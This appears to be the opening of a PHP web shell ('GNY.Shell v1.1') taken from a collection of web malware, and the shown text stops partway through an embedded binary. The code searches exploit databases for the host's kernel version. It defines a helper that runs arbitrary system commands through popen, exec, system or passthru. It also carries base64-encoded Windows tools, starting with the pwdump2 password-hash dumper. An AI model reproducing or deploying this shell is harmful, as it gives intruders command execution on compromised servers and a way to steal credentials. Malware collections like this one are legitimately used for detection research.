webshell/web-malware-collection-13-06-2012/PHP/GNY.Shell.v1.1.txt
2013-06-05 12:08:30 +08:00

6944 lines
570 KiB
Text

<?php
//exploit search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi('Linux',$OSV))
{
$Lversion=substr($Lversion,0,6);
$millink="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description= ";
$stormlink="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;
}else{
$Lversion=substr($Lversion,0,3);
$millink="http://www.exploit-db.com/search/";
$stormlink="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV.'+'.$Lversion;
}
//End of milw0rm search
//w4ck1ng Shell
if (!function_exists('myshellexec'))
{
if(is_callable('popen')){
function myshellexec($command) {
if (!($p=popen("($command)2>&1",'r'))) {
return 126;
}
while (!feof($p)) {
$line=fgets($p,1000);
$out .= $line;
}
pclose($p);
return $out;
}
}else{
function myshellexec($cmd)
{
global $disablefunc;
$result = '';
if (!empty($cmd))
{
if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,'r')))
{
$result = '';
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
}
// all the base64-encoded crap comes next. they include programs and exploits, to better your hacking experience ;)
$pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lWbkOqRW4fiVZuGolX
biGJVm7lqVxuG4lWbvKWXG4qiVZuUmljaBqJVm4AAAAAAAAAAFBFAABMAQMA7bzbOAAAAAAAAAAA
4AAPAQsBBgAAUAAAAEAAAAAAAABHHAAAABAAAABgAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAA
AAAAAKAAAAAQAAAAAAAAAwAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAyGQAADwA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnRleHQAAAAESAAAABAAAABQAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAEAoAAABgAAAA
EAAAAGAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAABghAAAAcAAAABAAAABwAAAAAAAAAAAAAAAA
AABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIPsDFNVVlcz
7Wh4cEAAiWwkFP8VEGBAAIvYO911Cl9eXTPAW4PEDMOLNVRgQABoXHBAAFP/1jvFo4R9QAB1Cl9e
XTPAW4PEDMNoRHBAAFP/1jvFo4h9QAB1Cl9eXTPAW4PEDMO/0AcAAFdV6H8GAACL8IPECDv1dCyN
RCQQUFdWagX/FYR9QAA9BAAAwHUggcfQBwAAV1boUwYAAIvwg8QIhfZ11F9eXTPAW4PEDMOL/mbH
RCQUEgBmx0QkFhQAx0QkGDBwQACLRzyFwHQVjU84agGNVCQYUVL/FYh9QACFwHQRiwczyYXAD5TB
A/iFyXTV6w6LTCQgi0dEvQEAAACJAVbouAUAAIPEBFP/FXRgQABfi8VeXVuDxAzDkJCQkItEJARQ
aIBwQADo4gcAAIPECGoB6AMHAACQkJCQkJCQUYtEJAhTVoP4AlfHRCQMAAAAAHUci3QkGItGBFDo
VgkAAIPEBIlEJAyFwHU9iw7rMIP4AXUljVQkDFLogP7//4PEBIXAdSNohHFAAOiABwAAg8QEagHo
oQYAAItEJBiLCFHoef///4PEBOjxAAAAhcB0EmhMcUAAaKBzQADogAcAAIPECItUJAxSagBo/w8f
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
